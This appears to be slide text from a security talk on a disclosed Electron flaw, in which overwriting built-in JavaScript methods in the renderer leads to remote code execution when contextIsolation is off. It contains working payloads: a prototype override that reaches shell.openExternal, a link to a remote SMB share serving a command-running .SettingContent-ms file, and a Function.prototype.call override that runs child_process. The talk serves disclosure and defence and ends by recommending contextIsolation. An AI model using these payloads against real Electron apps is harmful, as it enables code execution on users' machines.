• Found RCE, ... but noticed the root cause was in Electron itself • Reported to Electron Team and it was fixed by adding the option called "contextIsolation" • I'd like to talk about it!
renderer are loaded • Has unlimited access to Node APIs new BrowserWindow({ webPreferences:{ nodeIntegration: false, preload: path.join(__dirname,'preload.js') } }); main.js
to enable this behavior. https://github.com/electron/electron/blob/2551837ffbbd88f48236a658f601e896fb61ec83/doc s/tutorial/security.md#3-enable-context-isolation-for-remote-content “ Let's compare the behavior! ➡
JavaScript in renderer somehow(e.g. XSS or navigation to external sites) 2. Overwrite the built-in method which is used in preload or Electron internal code to own function 3. Trigger the use of overwritten function 4. Something happens => Achieve RCE
require('electron'); const SAFE_PROTOCOLS = ["http:", "https:"]; document.addEventListener('click', (e) => { if (e.target.nodeName === 'A') { var link = e.target; if (SAFE_PROTOCOLS.indexOf(link.protocol) !== -1) { shell.openExternal(link.href); } else { alert('This link is not allowed'); } e.preventDefault(); } }, false); This code opens only http(s): links with default browser
way const {shell} = require('electron'); /* Open with default browser */ shell.openExternal('https://example.com/'); /* Open with default mail client */ shell.openExternal('mailto:[email protected]'); /* Execute exe file */ shell.openExternal('file:///C:/windows/system32/calc.exe');
require('electron'); const SAFE_PROTOCOLS = ["http:", "https:"]; document.addEventListener('click', (e) => { if (e.target.nodeName === 'A') { var link = e.target; if (SAFE_PROTOCOLS.indexOf(link.protocol) !== -1) { shell.openExternal(link.href); } else { alert('This link is not allowed'); } e.preventDefault(); } }, false); We want to pass arbitrary URL to shell.openExternal Let's overwrite this!
<a href="file:///C:/windows/system32/calc.exe">CLICK</a> Click Now all links are opened by shell.openExternal if (1337 !== -1) { shell.openExternal(link.href); }
require('electron'); shell.openExternal("file://[REMOTE_SMB_SERVER]/share/test.SettingContent-ms"); • Matt Nelson found that ".SettingContent-ms" file can run shell command without warning dialog The Tale of SettingContent-ms Files – Posts By SpecterOps Team Members(Matt Nelson) https://posts.specterops.io/the-tale-of-settingcontent-ms-files-f1ea253e4d39 Works!
• Java does not respect ADS • File server + mscorsvw.exe (Found by Alex Inführ) InsertScript: DLL Hijacking via URL files (Alex Inführ) https://insert-script.blogspot.com/2018/05/dll-hijacking-via- url-files.html
Electron itself is implemented by using Node.js code • The overwritten built-in method is used here as well • By triggering the use of overwritten method in internal code, can get access to node APIs from the argument
process.on('exit', function () { for (let p in cachedArchives) { if (!hasProp.call(cachedArchives, p)) continue cachedArchives[p].destroy() } }) https://github.com/electron/electron/blob/664c184fcb98bb5b4b6b569553e7f7339d 3ba4c5/lib/common/asar.js#L30-L36 "exit" event listener is always set by the internal code when the page loading is started. This event is emitted just before navigation
[...] handler = events[type]; [...] var isFn = typeof handler === 'function'; len = arguments.length; switch (len) { // fast cases case 1: emitNone(handler, isFn, this); break; case 2: [...] } }; if the "exit" event is emitted, EventEmitter.prototype.emit is called and it executes "emitNone" function https://github.com/nodejs/node/blob/8a44289089a08b7b19fa3c4651b5f1f5d1edd71b/lib/events.js#L156-L231 Note: Here is inside require('events') bundled in Node.js
if (isFn) handler.call(self); else { var len = handler.length; var listeners = arrayClone(handler, len); for (var i = 0; i < len; ++i) listeners[i].call(self); } } https://github.com/nodejs/node/blob/8a44289089a08b7b19fa3c4651b5f1f5d1edd71b/lib/events.js#L104-L113 Then, it goes here
if (isFn) handler.call(self); else { var len = handler.length; var listeners = arrayClone(handler, len); for (var i = 0; i < len; ++i) listeners[i].call(self); } } "self" is Node's process object
if (isFn) handler.call(self); else { var len = handler.length; var listeners = arrayClone(handler, len); for (var i = 0; i < len; ++i) listeners[i].call(self); } } So, let's overwrite this "call" and get access to process object
if (isFn) handler.call(self); else { var len = handler.length; var listeners = arrayClone(handler, len); for (var i = 0; i < len; ++i) listeners[i].call(self); } } Function.prototype.call=function(process){ process.mainModule.require('child_process').execSync('calc'); } calc is launched via overwritten "call"!
even if "nodeIntegration" is not enabled • "contextIsolation" prevents RCE with overwritten built-in method. We have to use it explicitly because currently the default is false new BrowserWindow({ webPreferences:{ nodeIntegration: false, contextIsolation: true, preload: path.join(__dirname,'preload.js') } }); IMPORTANT!